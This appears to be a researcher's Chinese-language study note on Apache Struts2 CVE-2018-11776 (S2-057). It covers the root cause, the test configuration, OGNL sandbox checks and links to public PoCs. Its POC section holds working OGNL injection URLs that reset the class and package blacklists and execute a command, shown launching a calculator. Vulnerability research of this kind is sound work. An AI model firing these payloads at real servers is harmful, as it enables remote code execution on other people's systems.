简述
2018年8月23日,Apache Strust2发布最新安全公告,Apache Struts2 存在远程代码执行的高危漏洞,该漏洞由Semmle Security Research team的安全研究员汇报,漏洞编号为CVE-2018-11776(S2-057)
漏洞原因:
一句话解释:当访问action类型为重定向(redirect action,chain,postback)时,会根据url生成的namespace生成一个跳转地址location, location 会进行 ognl 计算。
处理流程:
-
struts2 的核心控制器 filterDIspather,会根据请求调用对应action:filterDIspatch 拦截所有用户的请求,调用ActionMapper 接口来决定调用对应Action。
-
struts2 默认调用DefaultActionMapper 实现类中 getMapping 方法解析request请求,getMapping 调用parseNameAndNamespace 方法获取namespace。
-
当访问action类型为重定向时(redirect action,chain,postback),调用ActionMapper.getUriFromActionMapping()重组namespace和name 生成location
-
ServletRedirectResult调用父类StrutsResultSupport中的exectue方法。最后由StrutsResultSupport调用conditionalParse(location,invocation)方法,通过TextParseUtil.translateVariables()调用OgnlTextParser.evaluate()解析执行location中的OGNL表达式,导致代码执行。
http://www.freebuf.com/vuls/182006.html 漏洞原因详细讲解(result代码实现,两种漏洞触发方式),但我认为请求 /path1/path2/test.action 在处理namespace 时不具有递归性,详情见namespace 分析。该文也描述了该漏洞的两种存在方式
三种跳转漏洞触发方式解析:https://xz.aliyun.com/t/2618
<result-types>
<result-type name="chain" class="com.opensymphony.xwork2.ActionChainResult"/>
<result-type name="redirectAction" class="org.apache.struts2.result.ServletActionRedirectResult"/>
<result-type name="postback" class="org.apache.struts2.result.PostbackResult" />
</result-types>
com/opensymphony/xwork2/DefaultActionInvocation.java:367 中对result type 进行处理,对result对象读入。
return type 官方介绍 https://struts.apache.org/core-developers/result-types.html
漏洞触发流程:https://github.com/Ivan1ee/struts2-057-exp
触发环境
配置文件修改
<struts>
<package name="actionchaining" extends="struts-default" namespace="/actionchaining">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="chain">actionChain2</result>
</action>
<action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2">
<result type="chain">actionChain3</result>
</action>
<action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3">
<result>/WEB-INF/actionchaining/actionChainingResult.jsp</result>
</action>
</package>
</struts>
修改配置文件
struts-actionchaining.xml 中添加
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true"/>
<struts>
<package name="actionchaining" extends="struts-default" >
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name="actionName">register2</param>>
</result>
</action>
</package>
</struts>
2.3.4 版本中 pom.xml 添加依赖包struts2-convention-pligin:2.3.34 设置 <constant name="struts.mapper.alwaysSelectFullNamespace" value="true"/> 会设置 alwaysSelectFullNamespace 参数为true
配置文件namespace详解
struts 配置文件介绍 https://www.cnblogs.com/fmricky/archive/2010/05/20/1740479.html
struts 官方文档介绍,namespace详细说明 https://struts.apache.org/core-developers/namespace-configuration.html
package 属性name,表示包名,包名随意,用于继承实现的,比如 extends struts-default 内置包,
属性 namespace 命名空间,用于防止请求重复。
默认值: "" 空,默认会捕获所有请求;
根值: "/", 只捕获直接目录下的访问
处理流程: 请求 http://domain/path1/path2/test.action
检查 namespace 为path1/path2 是否存在action test,存在则进行处理,不存在会检测 namespace 为""(默认值),是否有action test。
当配置文件中namespace 为""空:默认值时,会捕获所有 domain/random_path/actionChain1.action请求。
alwaysSelectFullNamespace 参数作用,
设置 alwaysSelectFullNamespace属性为true,返回最后一个/的path
namespace = uri.substring(0, lastSlash);
设置 alwaysSelectFullNamespace属性为false,返回配置文件中的namespace或者跟目录
Configuration config = configManager.getConfiguration();
String prefix = uri.substring(0, lastSlash);
namespace = "";
boolean rootAvailable = false;
Iterator i$ = config.getPackageConfigs().values().iterator();
while(i$.hasNext()) {
PackageConfig cfg = (PackageConfig)i$.next();
String ns = cfg.getNamespace();
if (ns != null && prefix.startsWith(ns) && (prefix.length() == ns.length() || prefix.charAt(ns.length()) == '/') && ns.length() > namespace.length()) {
namespace = ns;
}
if ("/".equals(ns)) {
rootAvailable = true;
}
}
name = uri.substring(namespace.length() + 1);
if (rootAvailable && "".equals(namespace)) {
namespace = "/";
}
}
POC 学习
struts2-3 系列
ognl 漏洞检测
请求:http://localhost:8080/${(111+111)}/actionChain1.action
跳转到:http://localhost:8080/222/actionChain1.action
说明对${111+111} 进行了计算,存在漏洞
${(#dm=@ognl.ognlcontext@default_member_access).(#ct=#request['struts.valuestack'].context).(#cr=#ct['com.opensymphony.xwork2.actioncontext.container']).(#ou=#cr.getinstance(@com.opensymphony.xwork2.ognl.ognlutil@class)).(#ou.getexcludedpackagenames().clear()).(#ou.getexcludedclasses().clear()).(#ct.setmemberaccess(#dm)).(#cmd=@java.lang.runtime@getruntime().exec("xcalc"))}
http://localhost:8080/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D@java.lang.Runtime@getRuntime%28%29.exec%28%22gnome-calculator%22%29%29%7D/actionChain1.action
POC 中关注点:
1. 黑名单限制,struts-default.xml 文件中定义了 struts.excludedClasses/struts.excludedPackageNames 黑名单。
2. memberaccess 设置。 疑惑点:问什么POC第一句可以访问@ognl.ognlcontext@default_member_access
3. ognl checkEnableEvalExpression
4. 通用模块,java payload 实现
S2-045 中POC 直接从ognlContext 中获取com.opensymphony.xwork2.actioncontext.container,2.3.34版本的黑名单加入了该类。思路:从已存在的对象中取出该类,例、获取#request['struts.valuestack'].context。
ognl 会检查表达式是否可执行
private void checkEnableEvalExpression(Object tree, Map<String, Object> context) throws OgnlException {
if (!this.enableEvalExpression && this.isEvalExpression(tree, context)) {
throw new OgnlException("Eval expressions/chained expressions have been disabled!");
}
}
默认this.enableEvalExpression 为false,
isEvalExpression 表达式对EvalChain 和 Sequence 进行了判断 node.isEvalChain(ognlContext) || node.isSequence(ognlContext),如果为EvalChain 或者 Sequence 则返回True, 导致抛出异常。
ASTSequence 表现形式 one, two
ASTEval 表现形式 (one)(two)
ASTChain 表现形式 one.two
所以现有 POC 中都会避免ASTSequence 和 ASTEval 类型语句存在
struts2-5 系列
在com/opensymphony/xwork2/ognl/OgnlUtil.java
中,构造OgnlContext 语句,设置SecurityMemberAccess
属性,其中对ExcludedClasses
,excludedPackageNamePatterns
,excludedPackageNames
三个安全属性进行了设置。
protected Map createDefaultContext(Object root, ClassResolver classResolver) {
ClassResolver resolver = classResolver;
if (resolver == null) {
resolver = container.getInstance(CompoundRootAccessor.class);
}
SecurityMemberAccess memberAccess = new SecurityMemberAccess(allowStaticMethodAccess);
memberAccess.setExcludedClasses(excludedClasses);
memberAccess.setExcludedPackageNamePatterns(excludedPackageNamePatterns);
memberAccess.setExcludedPackageNames(excludedPackageNames);
memberAccess.setDisallowProxyMemberAccess(disallowProxyMemberAccess);
return Ognl.createDefaultContext(root, resolver, defaultConverter, memberAccess);
}
2.5.10 代码
//com.opensymphony.xwork2.ognl.OgnlUtil @Inject(value = XWorkConstants.OGNL_EXCLUDED_PACKAGE_NAMES, required = false)
public void setExcludedPackageNames(String commaDelimitedPackageNames) {
excludedPackageNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedPackageNames);
}
2.5.12 代码
//com.opensymphony.xwork2.ognl.OgnlUtil @Inject(value = XWorkConstants.OGNL_EXCLUDED_PACKAGE_NAMES, required = false)
public void setExcludedPackageNames(String commaDelimitedPackageNames) {
excludedPackageNames = Collections.unmodifiableSet(TextParseUtil.commaDelimitedStringToSet(commaDelimitedPackageNames));
}
将excludedPackageNames
等属性设置为 Collections.unmodifiableSet
类型(不可修改),在调用#ognlUtil.getExcludedPackageNames().clear()
,会抛出java.lang.UnsupportedOperationException
类型的异常
绕过:OgnlUtil.setExcludedPackageNames('sun.reflect.'))
2.5.16版本 S2-057 payload:
http://0.0.0.0:8080/$%7B(%23ct=%23request['struts.valueStack'].context).(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedClasses('java.lang.Shutdown')).(%23ou.setExcludedPackageNames('sun.reflect.')).(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct.setMemberAccess(%23dm)).(%23cmd=@java.lang.Runtime@getRuntime().exec('gnome-calculator'))%7D/actionChain1.action
ognl 语法解析
ognl漏洞及入门科普:http://www.zjicmisa.org/index.php/archives/122/
ognl 抽象语法树的解析,详细,推荐(调试ognl poc是最好的阅读方式) https://xz.aliyun.com/t/111#toc-0
意外所得,https://blog.csdn.net/u013224189/article/details/81091874 这篇文章时间 2018年7月18日,作者通过struts更新发现疑似漏洞存在,但没能构造出 payload,很可惜的,漏洞报告公开时间2018年8月22日。 看一下原博客思路:通过更新补丁,代码差异来寻找漏洞
POC 收集
https://github.com/mazen160/struts-pwn_CVE-2018-11776
https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
https://github.com/xfox64x/CVE-2018-11776
https://semmle.com/news/apache-struts-CVE-2018-11776
历史漏洞
http://blog.0kami.cn/2017/01/13/Struts2-history-payload/
lgtm 文章 https://lgtm.com/blog/apache_struts_CVE-2018-11776
lgtm 文章的翻译 https://xz.aliyun.com/t/2622
疑惑点:为什么POC第一句可以访问@ognl.ognlcontext@default_member_access